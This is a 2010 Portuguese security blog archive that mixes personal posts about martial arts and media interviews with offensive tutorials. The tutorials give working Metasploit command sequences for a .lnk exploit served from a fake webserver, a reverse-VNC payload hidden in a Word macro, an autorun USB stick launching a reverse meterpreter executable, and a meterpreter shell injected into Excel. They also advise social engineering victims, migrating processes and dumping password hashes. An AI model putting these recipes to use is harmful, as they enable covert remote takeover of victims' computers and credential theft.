21 de dezembro de 2010

Escrima

Eskrima , Escrima ou Escryma se refere a uma categoria de Artes Marciais Filipinas (do inglês Filipino Martial Arts - FMA) que priorizam o treino de luta com armas (principalmente bastão, espada e Faca), e também ensinam habilidades de luta à mão vazia, que são essenciais num combate em que seu oponente esteja armado e você desarmado. Outros termos também comumente utilizados para se referir a esta arte são Kali e Arnis de Mano (chicote com as mãos). Eskrima e Arnis estão entre os muitos termos utilizados nas Filipinas para se referir a esta arte.
Origem: Wikipedia

Sei que esse post é um pouco fora de contexto, mas decidi postá-lo mesmo assim. Essa é uma faceta do profissional de segurança que poucos conhecem, que além de tudo ainda é psicoterapeuta e instrutor de artes marciais ;-)

O trecho acima, retirado da wikipedia, é sobre uma das artes marciais da qual sou instrutor: Escrima, ou Eskrima. Além dessa, ainda sou instrutor de WingTsun, como alguns que me conhecem já sabem.

Hoje, portanto, gostaria de postar algumas fotos de um treino que ministrei no RJ, na Quinta da Boa Vista, de Escrima. Seguem abaixo:

3 de dezembro de 2010

Atacando máquinas Windows (XP, Vista, 7, 2003, 2008) através de um webserver falso

Essa exploração baseia-se na falha existente no Windows, em todas as suas versões, no que diz respeito a manipulação de arquivos .lnk. Essa falha, assim como seu exploit tornaram-se públicos no final de na segunda quinzena de julho/2010.


O mais interessante, é que após tornar pública a falha, e consequentem ente o exploit, que surgiu um dia depois da divulgação da falha por parte da Microsoft, a correção da mesma só foi sair quase um mês depois, deixando milhões de máquinas vulneráveis a esse simples, mas devastador ataque.


Vamos lá...


# ./msfconsole


O primeiro comando seleciona o exploit que será usado:


> use exploit/windows/browser/ms10_046_shortcut_icon_dllloader


Caso queiramos mais informações sobre o exploit e sua respectiva falha, podemos digitar o seguinte comando:


> info


Esse comando exibirá, além da informações sobre a falha, as opções que precisamos configurar para o correto funcionamento do exploit. As opções obrigatórias são: SRVHOST, SRVPORT


Vamos configurá-las:


> set SRVHOST 192.168.0.83


Esse último comando, permitirá configurarmos o IP no qual o servidor web falso será montado para que a vítima acesso-o. No comando abaixo, vamos configurar a porta na qual o servidor ficará escutando, à espera de uma conexão:


> set SRVPORT 80


Havendo configurado a parte básica do exploit, precisamos configurar o que ele fará após explorar a falha no navegador da vítima, isso é, o payload:


> set PAYLOAD windows/meterpreter/reverse_tcp

> set LHOST 192.168.0.83

> set LPORT 4444


Tudo configurado, funcionando bem, sem nenhum erro, simplesmente lançamos o exploit e aguardamos a vítima conectar em nosso servidor falso:


> exploit


Para conseguirmos que a vítima conecte, nada como um bom e velho ataque de engenharia social :-)


De forma mais ilustrativa, vocês podem assistir ao vídeo que gravei para minha apresentação da palestra sobre "Ferramentas Livres para Teste de Invasão", que ocorrei na 11ª edição do FISL, em julho/2010. O mais legal é que apresentei a falha no dia seguinte em que a mesma foi publicada, por isso verão que no vídeo o nome do exploit ainda não possui o nome final, que o que está no texto, por isso, sigam o que está no artigo:


6 de novembro de 2010

Metasploit com Microsoft Word

Para demonstrar as falhas de segurança dos usuários, um teste de conceito simples e eficaz que pode ser feito é incluir um payload do Metasploit dentro de um arquivo do Word.

Em três passos simples, vamos criar um payload no Metasploit como uma macro do Visual Basic, em seguida, vamos inserir a macro em um arquivo do Word e, finalmente, vai vamos deixar a máquina escutando à espera de uma conexão reversa que deve ser feita quando a vítima abrir o arquivo.



1. Gerar o Payload

Selecionamos como payload uma conexão reversa de VNC, que se conecta ao IP "10.10.10.10" na porta "443"

./msfpayload windows/vncinject/reverse_tcp LHOST=10.10.10.10 LPORT=443 V > payload.bas

Não é necessário que a vítima tenha instalado um servidor VNC, mas sim que o atacante tenha o vncviewer instalado. Se não, basta executar no terminal o comando:

#apt-get install vncviewer


2. Embutimos a macro

Temos que separar o arquivo payload.bas em duas partes que estão claramente divididos dentro do mesmo, de um lado o código de macro e do outro os dados do payload.

Primeiro, vá em "Ferramentas -> Macro -> Editor do Visual Basic". Em seguida vá em "Arquivo -> Importar Arquivo" e ali selecionamos o arquivo que dividimos previamente com o código da macro.


Linux: Metasploit com Microsoft Word

Se quisermos verificar se o código da macro foi carregado com êxito, vamos ao menu do lado esquerdo, e na pasta "Módulos" deve encontrar o "Módulo 1" com o nosso código. Ao dar duplo clique em "Módulo 1" o código aparece carregado.

Feche o "Editor do Visual Basic", e no final do conteúdo do Word, copiamos os dados do payload.


3. Ouvindo a Conexão Reversa

No final, deixamos nossa máquina ouvindo à espera da conexão reversa via VNC, que será criada quando a vítima abrir o arquivo do Word.

./msfcli exploit/multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=10.10.10.10 LPORT=443 E

Se não queremos o Shell de boas vindas do Metasploit, que é um terminal DOS de cor azul, devemos agregar o seguinte parâmetro ao comando anterior:


"DisableCourtesyShell=True"

Para finalizar, em u ataque real ninguém vai utilizar o VNC como payload, porque obviamente a vítima perceberá que tomamos o controle de seu PC, mas por outro lado, é muito efetivo para realizar demonstrações práticas para a gerência de uma empresa ;-)

24 de outubro de 2010

1 - O Ataque

Em 4 passos simples iremos construir um pendrive USB U3, de modo que quando conectado a um PC, realize uma conexão reversa com o Meterpreter.

A idéia é gerar, com o Metasploit, um arquivo executável com um payload para gerar uma conexão reversa ao conectar o pendrive na USB do PC. Para gravar o payload dentro do U3, usaremos o programa Universal Customizer.

1. Gerar o payload com o Metasploit

Neste caso vamos criar um executável com uma conexão reversa do Meterpreter:

./msfpayload windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=443 X > malware.exe


Obviamente que podemos utilizar qualquer payload, como também utilizar encoders para tornar mais difícil sua detecção por antivírus.

2. Criar nossa ISO

Uma vez que tenhamos baixado e descompactado o Universal Customizer (http://www.hak5.org/packages/files/Universal_Customizer.zip), copiamos o arquivo malware.exe para o diretório "U3CUSTOM" e criamos o arquivo "autorun.inf" com o seguinte conteúdo:


[AutoRun]

open=malware.exe


Após isso, executamos o "ISOCreate.cmd" e dentro do diretório "BIN" será criada nossa ISO com o nome "U3CUSTOM.ISO". Se não criarmos nossa ISO , o Universal Customizer utilizará a ISO "U3CUSTOM.ISO" que já vem dentro do pacote, com uma versão feita por Hacksaw.

3. Gravar a ISO

Iniciamos o Universal Customizer e vamos seguindo os passo:


Linux: Ataque USB U3 com Metasploit

Ao finalizar, retiramos o pendrive, e quando voltarmos a conectá-lo já teremos nosso payload sendo executado.

4. Aguardando a conexão reversa

Para finalizar, devemos deixar o meterpreter "escutando" à espera da conexão reversa que será feita pelo payload gravado no pendrive:


./msfconsole

use exploit/multi/handler

set PAYLAOD windows/meterpreter/reverse_tcp

set LHOST 1.1.1.1

set LPORT 443

set ExitOnSession false

exploit -j


Isso é tudo, que serve inclusive como uma prova de conceito para comprovar a segurança da máquina de um usuário.


LINKS RELACIONADOS:

http://www.infoseczen.com/?p=127

http://www.slideshare.net/seguinfo/sallis-usb-hacks

http://www.hak5.org/packages/files/Universal_Customizer.zip

20 de outubro de 2010

Série "Crime na Rede", na rede Record

Caros,

Dia 18/10 começou uma série chamada Crime na Rede na Record, e no segundo dia foi exibida uma reportagem onde falo rapidamente e uma de minhas aulas foi filmada, onde inclusive um aluno comenta sobre um caso de invasão no site de sua empresa.

Para quem quiser conferir, segue o link:

http://noticias.r7.com/tecnologia-e-ciencia/noticias/veja-como-as-vitimas-se-defendem-dos-hackers-20101019.html

[ ]'s

11 de outubro de 2010

XLSInjector - Saiba como injetar um Shell Meterpreter em arquivos Excel

Nesse artigo entenderemos como é possível utilizar a ferramenta XLSInjector, juntamente com o Metasploit, para criar arquivos do Excel que carregam shellcode e conseguirmos uma conexão remota com a máquina alvo.

1 - Preparação

Não é um segredo para ninguém que a suíte de programas para escritório mais utilizada no mundo é o Microsoft Office, possuindo a maior fatia do mercado em sistemas operacionais Windows e Mac. Desta suíte, os programas mais utilizados são Microsoft Word, Microsoft Excel e Microsoft Power Point, que quase sempre estão instalados na maioria dos computadores.

Nesse artigo vamos tratar do XLSInjector, uma ferramenta criada por Keith Lee que permite injetar em um arquivo do Microsoft Excel um console meterpreter (executado totalmente na memória ram, sem criar nenhum processo adicional), permitindo-nos acessar o mesmo remotamente a partir da porta 4444 e ganhar controle total da máquina.

Para que o XLSInjector funcione adequadamente, precisamos do seguinte ambiente configurado:

Depois de configurar todos os elementos necessários para o correto funcionamento do XLSInjector, passamos para a execução, que é bem simples:


# perl xlsinjector.pl -i ArquivoDoExcel.xls -o ArquivoComShellDoExcel.xls


Mas nem tudo é tão simples com essa ferramenta, pois o XLSInjector NÃO consegue burlar os filtros de scripts existentes na suíte Microsoft e, justo por isso, é necessário convencer, por meio de engenharia social, ou qualquer outra técnica, que o usuário desabilite as configurações de segurança de macros e que "confie" no arquivo, o que é um pouco complicado, mas que certamente com um pouco de persuasão é possível conseguir.

Supondo que já realizou as configurações necessárias para o correto funcionamento do XLSInjector, vamos acessar remotamente nossa shell meterpreter através do console do Metasploit Framework.

Iniciamos o console do Metasploit:

# ./msfconsole

Uma vez que o console MSF esteja aberto, carregamos o payload do meterpreter:

set payload windows/meterpreter/bind_tcp

Configuramos o payload corretamente, com seus parâmetros:

set RHOST ip_da_vitima
set RPOT 4444

E executamos:

exploit

Com esses passos simples temos à nossa disposição uma shell meterpreter na máquina remota. Temos que ter em mente que uma shell meterpreter é diferente de uma shell de um sistema operacional, e que possui seu próprio conjunto de comando, que pode ser listado simplesmente digitando na shell "?" e pressionando enter. Com esse comando, terá em sua tela algo parecido com isso:

Core Commands

Command Description
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel


Stdapi: File system Commands

Command Description
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rmdir Remove directory
upload Upload a file or directory


Stdapi: Networking Commands

Command Description
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table

Stdapi: System Commands

Command Description
execute Execute a command
getpid Get the current process identifier
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shutdown Shuts down the remote computer
sysinfo Gets information about the remote system, such as OS


Stdapi: User interface Commands

Command Description
idletime Returns the number of seconds the remote user has been idle
uictl Control some of the user interface components


Priv: Password database Commands

Command Description
hashdump Dumps the contents of the SAM database


Priv: Timestomp Commands

Command Description
timestomp Manipulate file MACE attributes




2 - Finalização

É sempre bom ressaltar a potência e a capacidade do meterpreter para injetar dll's, fazer upload de arquivos, executar scripts e etc. Recomendo que dê uma lida no documento Metasploit's Meterpreter para saber mais sobre os comandos do meterpreter.

Recomendo também utilizar o comando "migrate" tão logo possa, ao conseguir o shell com a máquina alvo, para evitar que assim que fecharem o arquivo XLS, sua conexão também seja encerrada. Outro comando recomendado é o hashdump, que retorna o conteúdo do arquivo SAM da máquina vítima, para que posteriormente se possa obter a senha dos usuários e administradores, utilizando ferramentas como l0phtcrack ou cain&abel.

Por último, deixo abaixo o vídeo do autor da ferramenta XLSInjector, onde ensina o seu funcionamento:

Entrevista no Correio Brasiliense

Caros,

Para quem tiver interesse, participei de uma entrevista no Jornal Correio Brasiliense, cujo título é "Problemas na segurança na web geram dor de cabeça para usuários e empresas".

Outros profissionais, como Ulisses de Castro, participaram de entrevista :-)

Vale a pena dar uma conferida!

[ ]'s